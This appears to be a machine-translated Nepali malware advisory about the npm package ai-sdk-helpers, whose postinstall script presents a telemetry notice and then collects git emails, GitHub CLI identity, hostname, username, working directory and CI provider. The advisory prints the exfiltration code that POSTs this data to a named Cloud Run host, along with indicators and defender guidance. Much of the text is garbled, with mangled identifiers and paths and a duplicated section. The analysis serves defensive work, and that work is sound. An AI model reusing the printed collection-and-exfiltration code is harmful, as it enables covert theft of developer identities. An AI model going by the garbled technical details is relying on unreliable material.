TL; ड
एउटा मात्र एनपीएम प्याकेज, एआई-एसडीके-सहायकहरू, ले Vercel AI SDK को लागि उत्पादन टूलकिटको रूपमा आफूलाई प्रस्तुत गर्दछ, लागत ट्र्याकिङ, प्रदायक फलब्याक, र स्ट्रिमिङ सहयोगीहरू प्रदान गर्दछ।
यसको स्थापना-समय स्क्रिप्ट पोलिश गरिएको खुलासा ब्यानरको साथ खुल्छ जुन वर्णन गर्दछ बेनामी निदान, कुनै पनि स्रोत कोड, टोकन, वा प्रमाणहरू प्रसारित नहुने वाचा गर्दै, सम्मान गर्दै DO_NOT_TRACK अप्ट-आउट, र टेलिमेट्री नीति पृष्ठमा लिङ्क।
त्यसपछि त्यही स्क्रिप्टले विकासकर्ताको गिट पहिचान, गिटहब सीएलआई कन्फिगरेसन, मेसिन होस्टनाम, ओएस प्रयोगकर्ता नाम, काम गर्ने निर्देशिका, र सीआई प्रदायक पढ्छ।
त्यो डेटा JSON को रूपमा गुगल क्लाउड रन एन्डपोइन्टमा पोस्ट गरिन्छ, जसले गर्दा भनिएको टेलिमेट्री नीति र सङ्कलन गरिएका वास्तविक क्षेत्रहरू बीच स्पष्ट बेमेल सिर्जना हुन्छ।
यो प्याकेज ८३-सेकेन्डको एकल बर्स्ट भित्र बाइस संस्करणहरूमा प्रकाशित भएको थियो, र स्थापना स्क्रिप्ट प्रत्येक फ्ल्याग गरिएको संस्करणमा बाइट-फर-बाइट समान छ।
हाम्रो द्वारा समीक्षा गरिएका आठ संस्करणहरू मध्ये सात pipeline सहमति-ब्यानर शैली वैध टेलिमेट्री जस्तो पढिएकोले ML वर्गीकरणकर्ताद्वारा अनिर्णीत स्कोर गरिएको थियो।
हामी वर्गीकरण गर्छौं ai-sdk-helpers स्थापना-समय विकासकर्ता पहिचान सङ्कलन र एक्सफिल्टरेशनको आधारमा दुर्भावनापूर्ण रूपमा।
गम्भीरता: उच्च।
स्थापनाको शरीर रचना
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } स्थापना पछि स्वचालित रूपमा चल्छ npm स्थापना, प्याकेजको कुनै पनि विज्ञापन गरिएको कोड आयात गर्नु अघि। स्क्रिप्ट स्क्रिप्टहरू/postinstall.js सबै स्थापना-समय व्यवहार त्यहीं रहन्छ।
यो गोपनीयता-सचेत खुला-स्रोत परियोजनाको दर्तामा लेखिएको टिप्पणी ब्लक र रनटाइम सूचनाको साथ खुल्छ:
>जब तपाईं ai-sdk-helpers स्थापना गर्नुहुन्छ, हामी द्रुत वातावरण अनुकूलता जाँच चलाउँछौं र बेनामी निदान रिपोर्ट गर्छौं... डेटा पूर्ण रूपमा बेनामी छ — हामी तपाईंको प्लेटफर्म, नोड संस्करण, र तपाईंको मेसिन पहिचानकर्ताको एक-तर्फी ह्यास सङ्कलन गर्छौं। कुनै पनि स्रोत कोड, टोकन, वा प्रमाणहरू कहिल्यै प्रसारित हुँदैनन्।
यसले फाइलमा पहिलो कार्यान्वयनयोग्य कोड, काम गर्ने अप्ट-आउट गेटलाई पनि तार गर्दछ:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } यो गेटलाई पहिले लेस लगाउनुले बाँकी कुरालाई सहमतिको रूपमा पढ्न मद्दत गर्छ: एक विकासकर्ता जसले सेट गर्छ `D_ट्र्याक_नट` स्थापना चुपचाप पूरा हुन्छ र प्याकेजले सम्मेलनको सम्मान गर्दै समाप्त हुन्छ। सम्मानित अप्ट-आउट वास्तविक हो। यसले सेट नगर्ने सबैका लागि तल वर्णन गरिएको संग्रहलाई गेट गर्छ - सूचना नामहरूमा उल्लेख गरिएको साँघुरो "प्लेटफर्म, नोड संस्करण, र एक-तर्फी ह्यास" होइन।
त्यो गेट मुनि, स्क्रिप्टले त्यो विवरणभन्दा धेरै अगाडि जाने पेलोड जम्मा गर्छ।
- *Gपहिचान।* rसमाधानScmपहिचान ()` इड्स `~.गिटकन्फिग`,`~.कन्फिग/गिट/कन्फिग`,र हालको परियोजनाको `।यो/कन्फिग`,`[ लाई पार्स गर्दछser]` ection, र कन्फिगर गरिएको फर्काउँछ commit इमेल। यदि कुनै कन्फिग फाइलले इमेल दिँदैन भने, यो `G` मा फिर्ता झर्छ।T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,र `इएआईएल` वातावरण चरहरू। प्रकार्य माथिको डकस्ट्रिङले "एउटै व्यक्तिको स्वामित्वमा रहेका मेसिनहरूमा स्थापनाहरू डुप्लिकेट गर्ने" तरिकाको रूपमा पढ्ने फ्रेम गर्दछ (जस्तै ल्यापटप + CI) - एक उल्लेखित उद्देश्य जसलाई स्थिर प्रति-विकासकर्ता पहिचानकर्ता चाहिन्छ, जुन commit इमेल आपूर्तिहरू।
- *GtHub खाता।* rसमाधानगिटहबपहिचान()` इड्स `~.config/gh/hosts.yml` र `~.config/gh/hosts.yaml` GitHub CLI द्वारा लेखिएको कन्फिगरेसन फाइल जब विकासकर्ताले प्रमाणीकरण गर्छ — र regex- निकाल्छ `uएर:` र `ईएल:` ields। त्यो फाइलले GitHub OAuth टोकन पनि भण्डारण गर्छ; स्क्रिप्टको रेजेक्सले विशेष रूपमा प्रयोगकर्ता नाम र इमेल लाइनहरूलाई लक्षित गर्दछ र टोकन निकाल्दैन। खुलासा ब्यानरको "कुनै टोकनहरू ... कहिल्यै प्रसारित हुँदैनन्" दाबी त्यसकारण त्यो एउटा क्षेत्रको लागि शाब्दिक रूपमा सत्य हो जबकि वरपरका खाता पहिचानकर्ताहरू पढिन्छन् र पठाइन्छ।
- *Hst र CI फिंगरप्रिन्ट।* त्यसपछि उसले स्क्रिप्ट सङ्कलन गर्छ.होस्टनाम()`,`o.प्रयोगकर्ता जानकारी().प्रयोगकर्ता नाम`,नोड संस्करण, प्लेटफर्म र वास्तुकला, `pocess.cwd()`,र आठ प्रदायकहरू (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, र दुई जेनेरिक-CI फ्ल्यागहरू) को लागि वातावरण चरहरू जाँच गरेर समाधान गरिएको CI-प्रदायक लेबल। प्रदायक सूचीले स्क्रिप्टले कार्यान्वयन गर्ने अपेक्षा गरेको ठाउँको सूचीको रूपमा पढ्छ - अन्तरक्रियात्मक शेलहरू र स्वचालित निर्माण। pipelineसमान छ।
यी सबैलाई एउटै `d` मा समूहबद्ध गरिएको छ।अज्ञेयवादी bject, `i` अन्तर्गत सङ्कलन गरिएका प्रति-विकासकर्ता क्षेत्रहरू सहितनिकाय` ey र `r अन्तर्गत होस्ट डेटासमय` र `गपाठ` eyes, त्यसपछि क्रमबद्ध र प्रसारित:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); उसको प्रतिक्रिया खारेज गरिन्छ र सबै त्रुटिहरू निलिन्छन् - एउटा टिप्पणीले नोट गर्छ कि "टेलीमेट्रीले कहिल्यै स्थापना तोड्नु हुँदैन।" एन्डपोइन्ट होस्टनेमले `e मा गुगल क्लाउड रन सेवालाई एन्कोड गर्दछ।डोरी-पश्चिम१` एजियन।
अन्तर नै कथा हो। ब्यानरमा डेटाका तीन वर्गहरू उल्लेख गरिएको छ — प्लेटफर्म, नोड संस्करण, मेसिन-पहिचानकर्ता ह्यास। पेलोडले विकासकर्ताको वास्तविक गिट पठाउँछ। commit इमेल, तिनीहरूको GitHub प्रयोगकर्ता नाम र इमेल, तिनीहरूको मेसिन होस्टनाम र OS खाता नाम, तिनीहरूको परियोजना मार्ग, र तिनीहरूको CI वातावरण। *p पहिचान गर्ने क्षेत्रहरूrson र तिनीहरूका खाताहरू* खुलासाले छुटाएका क्षेत्रहरू ठ्याक्कै त्यस्तै हुन्।
README ले अर्को पक्षबाट फ्रेमिङलाई बलियो बनाउँछ। यसको "टेलीमेट्री" खण्डले गुमनामता दावी दोहोर्याउँछ र `D शब्दलाई जोड्छ।_ट्र्याक_नट` ओ `सीnsoledonottrack.com`,वास्तविक समुदाय पृष्ठ जसले अप्ट-आउट कन्भेन्सनलाई दस्तावेज गर्दछ — मान्यता प्राप्त गोपनीयता उधारो लिँदै standard सूचनालाई नियमित रूपमा पढ्नको लागि।
समय रेखा
यो एकल-प्याकेज खोज हो जसको प्रकाशन इतिहास धेरै छोटो, धेरै घना छ। ट्रेस गर्न कुनै बहु-हप्ता अभियान चाप छैन - सम्पूर्ण संस्करण दायरा मेसिन गतिमा धकेलिएको थियो।
| कहिले (UTC) | घटना |
|---|---|
| 2026-06-03 20:31:20 | पहिलो संस्करण (0.1.0) npm मा प्रकाशित। |
| 2026-06-03 20:31:20 – 20:32:43 | सबै २२ संस्करणहरू (0.1.0 मार्फत 1.4.2) ८३-सेकेन्डको स्वचालित बर्स्टमा प्रकाशित। |
| 2026-06-04 | पत्ता लगाउने संकेतहरूद्वारा फ्ल्याग गरिएका आठ संस्करणहरू; म्यानुअल विश्लेषणले स्थापना-समय पहिचान सङ्कलन र एक्सफिल्ट्रेसन पुष्टि गर्दछ। विश्लेषणको समयमा प्याकेज npm मा लाइभ रह्यो। |
२२ सिमान्टिक संस्करणहरूमा ८३-सेकेन्डको विन्डो आफैंमा एक व्यवहारिक सूचक हो: संस्करण भर्याङ (`०१.१`,`0१.१`,… `१४.२`)एक स्क्रिप्टेड रनमा उत्पादन गरिएको रिलीज इतिहासको साथ सक्रिय रूपमा मर्मत गरिएको परियोजनाको सतह प्रस्तुत गर्दछ। स्थापना स्क्रिप्ट त्यो भर्याङमा परिवर्तन हुँदैन — तल हेर्नुहोस्।
सम्झौताका सूचकहरू
प्रकाशित संस्करण दायरामा स्थापना-समय पेलोड समान छ। A `dएफएफ` च `sरिप्ट्स/पोस्टइन्स्टल.जेएस` एटवीन संस्करण `०`१` दोस्रो संस्करण `१`१` कुनै भिन्नता छैन; व्यवहार एउटा स्थिर औंठाछाप हो, विकसित पेलोड होइन।
नेटवर्क
२२ सिमान्टिक संस्करणहरूमा ८३-सेकेन्डको विन्डो आफैंमा एक व्यवहारिक सूचक हो: संस्करण भर्याङ (`०१.१`,`0१.१`,… `१४.२`)एक स्क्रिप्टेड रनमा उत्पादन गरिएको रिलीज इतिहासको साथ सक्रिय रूपमा मर्मत गरिएको परियोजनाको सतह प्रस्तुत गर्दछ। स्थापना स्क्रिप्ट त्यो भर्याङमा परिवर्तन हुँदैन — तल हेर्नुहोस्।
सम्झौताका सूचकहरू
प्रकाशित संस्करण दायरामा स्थापना-समय पेलोड समान छ। A `dएफएफ` च `sरिप्ट्स/पोस्टइन्स्टल.जेएस` एटवीन संस्करण `०`१` दोस्रो संस्करण `१`१` कुनै भिन्नता छैन; व्यवहार एउटा स्थिर औंठाछाप हो, विकसित पेलोड होइन।
नेटवर्क
| सूचक | भूमिका |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | JSON पेलोडहरू सहित HTTPS POST अनुरोधहरू प्राप्त गर्ने एक्सफिल्ट्रेसन एन्डपोइन्ट। गुगल क्लाउडमा होस्ट गरिएको रन इन europe-west1 क्षेत्र। |
डिकोय पूर्वाधार
| सूचक | भूमिका |
|---|---|
ai-sdk.guide | "AI SDK गाइड" लेखक पहिचानलाई समर्थन गर्ने प्याकेज गृहपृष्ठ र लाइभ साइट। |
ai-sdk.guide/telemetry | स्थापना-समय प्रकटीकरण सूचनामा उल्लेख गरिएको टेलिमेट्री नीति URL। |
hello@ai-sdk.guide | लेखकको इमेल घोषणा गरिएको छ package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | प्याकेजद्वारा घोषित स्रोत भण्डार। |
स्थापनाको समयमा पढिएका फाइलहरू
- -.गिटकन्फिग`,`~.कन्फिग/गिट/कन्फिग`,`<wd>/.git/config` गिट `[ser]` इमेल
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uएर` `eअल`
व्यवहारिक हस्ताक्षरहरू
- – म `पस्थापना गर्नुहोस्` बन्डल गरिएको नोड स्क्रिप्ट पनि बोलाउँदै
- - अप्ट-आउट गेट (`A`SDK_HELPERS_TELEMETRY_DISABLED`,`D(ट्रयाक छैन`)पहिचान सङ्कलनभन्दा अगाडि, गोपनीयता सुविधाको रूपमा प्रस्तुत गरिएको
- - git इमेल, GitHub पहिचान, होस्टनाम, OS प्रयोगकर्ता नाम, cwd, र CI लेबल भएको JSON वस्तुको tbound HTTPS POST
- - द्रुत रूपमा प्रकाशित संस्करण भर्याङमा समान स्थापना स्क्रिप्ट
विशेषता र अवलोकन गरिएको व्यवहार
हामी प्याकेज र रजिस्ट्री मेटाडेटा रेकर्ड भन्दा बाहिर केहि पनि श्रेय दिँदैनौं।
रेकर्डको npm मर्मतकर्ता खाता `a होआइल्सिमोन,ठेगाना `a` सहितiel@vigilance.security`।रजिस्ट्रीले त्यो इमेललाई अप्रमाणितको रूपमा र खाताको स्रोत-नियन्त्रण पहिचानलाई अप्रमाणितको रूपमा सूचीबद्ध गर्दछ। `pckage.json`,छुट्टै, लेखकलाई "AI SDK गाइड" को रूपमा प्रस्तुत गर्दछ।ello@ai-sdk.guide>`”`a को गृहपृष्ठको साथ-sdk.गाइड` र `g अन्तर्गत स्रोत भण्डारthub.com/ai-sdk-guide` संगठन। प्रकाशन खाताको इमेल डोमेन (`vigilance.security`)र प्याकेज भित्रको लेखक पहिचान (`a-sdk.गाइड`)फरक-फरक डोमेनहरू छन्।
`क-sdk.गाइड` यो लाइभ छ र प्रतिक्रिया दिन्छ, र `/तत्वता ath समाधान गर्छ — डिकोय पहिचानलाई मृत लिङ्कको सट्टा पहुँचयोग्य वेब उपस्थितिद्वारा समर्थित गरिन्छ, जसले प्याकेजको फ्रेमिङको विश्वसनीयता बढाउँछ।
**अवलोकन गरिएको क्षमता।** स्थापनाको समयमा, प्याकेजले विकासकर्ता पहिचान र खाता-कन्फिगरेसन फाइलहरू पढ्छ, होस्ट र CI वातावरणमा औंठाछाप लगाउँछ, र परिणामलाई अपरेटर-नियन्त्रित अन्त्य बिन्दुमा प्रसारण गर्दछ, जबकि एउटा संकुचित र बेनामी डेटा सेट वर्णन गर्ने सूचना प्रदर्शन गर्दछ। हामी यो व्यवहारको वर्णन गर्छौं; हामी यसको लागि कुनै उद्देश्य दाबी गर्दैनौं। प्याकेजको मूल्याङ्कन गर्ने पाठकहरूले - प्रकाशन पहिचान पहिचान गर्ने कुनै पनि पक्ष सहित - उल्लेख गरिएको र वास्तविक डेटा प्रवाहहरू बीचको अवलोकनयोग्य बेमेलको तौल गर्नुपर्छ।
रक्षकहरूको लागि प्रभाव, प्रवृत्ति र मार्गदर्शन
को पर्दाफास भएको छ। स्थापना गर्ने जो कोही एआई-एसडीके-सहायकहरू — प्रत्यक्ष रूपमा वा ट्रान्जिटिभ निर्भरताको रूपमा — त्यो मेसिनमा सङ्कलन चलाउँछ। किनभने ट्रिगर हो स्थापना पछि, डेटा प्रवाह हुनको लागि विज्ञापित पुस्तकालय कोड कहिल्यै आयात गर्नुपर्दैन; स्थापना मात्र पर्याप्त छ। उच्चतम-मूल्य वातावरणहरू कन्फिगर गरिएको गिट पहिचान र प्रमाणित GitHub CLI भएका विकासकर्ता कार्यस्थानहरू, र CI धावकहरू हुन्, जहाँ स्क्रिप्टको CI-प्रदायक पत्ता लगाउनेले सङ्कलन बिल्ड भित्र चल्ने अपेक्षा गरिएको संकेत गर्दछ। pipelines साथै ल्यापटपहरूमा पनि।
यसले के उजागर गर्छ। सामान्य अवस्थामा अनुप्रयोग गोप्य कुरा होइन - पेलोड केन्द्रित हुन्छ पहिचान: विकासकर्ताको commit इमेल, तिनीहरूको GitHub खाताको नाम र इमेल, मेसिन र खाताको नाम, र परियोजना मार्ग। त्यो एक पूर्व होcisप्याकेज कसले स्थापना गर्यो, कुन मेसिनमा, कुन भण्डारमा, र कुन CI प्रणाली अन्तर्गत भन्ने नक्सा। संस्थाको लागि, मुट्ठीभर त्यस्ता रेकर्डहरू सँगै लिइएमा कुन इन्जिनियरहरू र कुन निर्माण प्रणालीहरूले निर्भरता तान्यो भनेर गणना गरिनेछ - यो प्याकेजको आफ्नै व्यवहार सङ्कलन र प्रसारणमा रोकिए पनि, थप लक्षित फलो-अन गतिविधिको अग्रदूतको रूपमा उपयोगी।
प्रवृत्ति: आवरणको रूपमा टेलिमेट्री। वैध विकासकर्ता उपकरणहरूले बेनामी स्थापना निदानहरू सङ्कलन गर्छन्, र यो सम्मानपूर्वक गर्ने परम्पराहरू - एक खुलासा सूचना, एक ट्र्याक नगर्नुहोस् सम्मान, अप्ट-आउट फ्ल्याग, नीति URL — सबैलाई थाहा छ। एआई-एसडीके-सहायकहरू ती चारैवटा कन्भेन्सनहरूलाई विश्वासयोग्य रूपमा पुन: उत्पादन गर्दछ र पहिचान सङ्कलनको लागि र्यापरको रूपमा प्रयोग गर्दछ। सहमति ब्यानर, काम गर्ने अप्ट-आउट, वा गोपनीयता-नीति लिङ्कको उपस्थिति प्याकेज विश्वसनीय छ भन्ने प्रमाण होइन; ती नियन्त्रणहरू अनुकरण गर्न सस्तो छन्। एक मात्र भरपर्दो जाँच भनेको कोडले वास्तवमा के पढ्छ र यसले वास्तवमा कहाँ पठाउँछ भन्ने हो।
यो प्याकेजिङले स्वचालित ट्राइजमा पनि मापनयोग्य प्रभाव पार्छ। संस्करणहरूमा हाम्रो pipeline समीक्षा गरियो, स्थापना स्क्रिप्टको सरल भाषाका टिप्पणीहरू, संरचित क्षेत्र नामहरू, र परम्परागत अप्ट-आउट गेटलाई साधारण टेलिमेट्रीको रूपमा स्कोर गरियो: आठ मध्ये सात फिर्ता आए असामान्य दुर्भावनापूर्ण भन्दा पनि ML वर्गीकरणकर्ताबाट। अस्पष्टता समाधान गर्ने संकेत गद्यमा छैन - यो स्क्रिप्टले खोल्ने विशिष्ट फाइलहरूमा छ (~/.gitconfig, ~/.config/gh/hosts.yml) र यसले पठाउने गन्तव्य। एक समीक्षक, स्वचालित वा मानव, जसले खुलासा पढ्छ र त्यहाँ रोकिन्छ, गलत निष्कर्षमा पुग्छ; निर्धारण डेटा-प्रवाह तथ्यहरूबाट आउनुपर्छ।
रक्षकहरूको लागि मार्गदर्शन:
- पूर्वनिर्धारित रूपमा स्क्रिप्टहरू असक्षम पारेर स्थापना गर्नुहोस् — npm स्थापना गर्नुहोस् - बेवास्ता-स्क्रिप्टहरू, वा सेट गर्नुहोस् बेवास्ता-स्क्रिप्टहरू = सत्य in .npmrc र जाँच गरिएका निर्माण चरणहरू स्पष्ट रूपमा चलाउनुहोस्। यसले तटस्थ बनाउँछ स्थापना पछि-सबैतिर सङ्कलन सुरु भयो।
- अप्ट-आउट नियन्त्रणहरूलाई विश्वासको संकेतको रूपमा नलिनुहोस्। A. ट्र्याक नगर्नुहोस् चेक वा "टेलिमेट्री नीति" लिङ्कले गेट सेट नभएको बेला स्क्रिप्टले सङ्कलन गर्ने डेटाको बारेमा केही बताउँदैन।
- एआई-इकोसिस्टम हेल्पर प्याकेजहरू अपनाउनु अघि स्थापना हुक पढ्नुहोस्। भर्सेल एआई एसडीके स्पेस एक द्रुत गतिमा चल्ने, उच्च-विश्वास लक्ष्य हो; स्थापना पछि त्यो छुन्छ ~/.gitconfig or ~/.config/gh/ वरपरका टिप्पणीहरू कसरी लेखिएका छन् भन्ने कुराको पर्वाह नगरी यो स्पष्ट संकेत हो।
- निर्माण-समय निकासी निगरानी गर्नुहोस्। आउटबाउन्ड HTTPS POST को समयमा npm स्थापना, विशेष गरी भर्खरै प्रावधान गरिएको क्लाउड-फंक्शन एन्डपोइन्टमा, नेटवर्क तहमा अवलोकनयोग्य छ र CI वातावरणको लागि एक बलियो पत्ता लगाउने बिन्दु हो।
- संकुचित संस्करण भर्याङहरूको लागि हेर्नुहोस्। एउटा प्याकेज जसको सम्पूर्ण अर्थपूर्ण-संस्करण इतिहास केही सेकेन्ड भित्र देखा पर्दछ, अपरिवर्तित स्थापना स्क्रिप्टको साथ, निर्मित मर्मत इतिहास प्रस्तुत गर्दैछ।





